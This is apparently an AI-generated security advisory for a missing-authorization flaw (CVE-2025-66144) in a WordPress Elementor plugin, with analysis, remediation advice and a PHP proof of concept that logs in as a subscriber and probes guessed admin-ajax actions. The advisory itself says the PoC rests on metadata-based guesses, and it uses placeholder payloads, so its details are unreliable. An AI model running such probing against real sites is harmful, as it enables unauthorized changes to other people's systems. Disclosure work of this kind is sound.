Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 20, 2026

CVE-2025-66144: Worker for Elementor <= 1.0.10 – Missing Authorization (worker-elementor)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.0.10
Patched Version
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-66144 (metadata-based):
This vulnerability is a missing authorization flaw in the Worker for Elementor WordPress plugin, affecting versions up to and including 1.0.10. The vulnerability allows authenticated users with subscriber-level permissions or higher to perform unauthorized actions. The CVSS score of 4.3 (Medium) reflects a network-accessible attack requiring low-privilege authentication, leading to low integrity impact with no confidentiality or availability consequences.

Atomic Edge research identifies the root cause as a missing capability check on a WordPress hook handler. The CWE-862 classification confirms the plugin fails to verify a user’s permissions before executing a privileged function. This inference is based on the vulnerability description and WordPress plugin architecture patterns. Without code diff confirmation, Atomic Edge analysis concludes a WordPress action or AJAX handler lacks a current_user_can() check or similar authorization mechanism.

Exploitation requires an authenticated attacker with a subscriber account. The attacker sends a crafted HTTP request to a WordPress administrative endpoint, likely /wp-admin/admin-ajax.php. The request targets a specific AJAX action parameter, possibly containing ‘worker_elementor’ or a similar plugin-specific prefix. The payload contains parameters that trigger the unauthorized action. No nonce verification is present, allowing direct request submission.

Remediation requires adding proper capability checks to the vulnerable function. The plugin developer must implement a check like current_user_can(‘manage_options’) or a custom capability before executing privileged operations. WordPress security best practices also recommend nonce verification for state-changing operations. The patch should validate both the user’s permission level and the request’s authenticity.

Successful exploitation allows low-privileged users to perform actions reserved for administrators or editors. The ‘unauthorized action’ description suggests possible plugin configuration modification, data manipulation, or content alteration. While the CVE indicates no confidentiality impact (C:N), the integrity impact (I:L) confirms attackers can modify some aspect of the WordPress installation through the plugin’s functionality.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-66144 - Worker for Elementor <= 1.0.10 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2025-66144
 * Assumptions based on metadata analysis:
 * 1. Vulnerable endpoint is WordPress AJAX handler
 * 2. Action parameter contains 'worker' or 'elementor' string
 * 3. No capability check exists for subscriber+ users
 * 4. No nonce verification required
 */

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Initialize cURL session for authentication
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// First, authenticate to WordPress
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);

// Check authentication success
if (strpos($response, 'Dashboard') === false && strpos($response, 'admin-ajax.php') === false) {
    die('Authentication failed. Check credentials.');
}

// Attempt exploitation via AJAX endpoint
// Multiple possible action names based on plugin naming conventions
$possible_actions = array(
    'worker_elementor_action',
    'worker_for_elementor_action',
    'elementor_worker_action',
    'wfe_action',
    'worker_elementor_update',
    'elementor_worker_update'
);

foreach ($possible_actions as $action) {
    $exploit_data = array(
        'action' => $action,
        'data' => 'unauthorized_payload',
        'cmd' => 'update_settings'  // Common parameter for configuration changes
    );
    
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
    
    $ajax_response = curl_exec($ch);
    
    // Check for successful exploitation indicators
    if ($ajax_response !== false && $ajax_response !== '0' && $ajax_response !== '-1') {
        echo "Potential successful exploitation with action: $actionn";
        echo "Response: $ajax_responsen";
        break;
    }
}

curl_close($ch);
?>

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